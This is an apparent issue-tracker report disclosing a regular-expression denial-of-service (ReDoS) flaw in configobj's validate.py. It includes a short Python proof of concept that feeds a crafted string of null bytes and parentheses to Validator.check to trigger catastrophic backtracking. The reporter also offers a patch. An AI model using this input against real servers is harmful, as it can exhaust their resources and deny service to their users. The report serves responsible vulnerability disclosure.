Closed
Description
The affected code is located in validate.py-line660. It uses the vulnerable regular expression (.+?)\((.*)\). When the match fails, it will cause catastrophic backtracking.
I trigger the vulnerability using the python script below
from configobj.validate import Validator
value = "aaa"
i = 10
attack = '\x00'*16510*i + ')' + '('*16510*i
vtor = Validator()
newval1 = vtor.check(attack, value)I see many projects referencing this file, when run server side there has possible DOS. It is my pleasure to provide a patch to repair the ReDoS vulnerability.
Metadata
Metadata
Assignees
Labels
No labels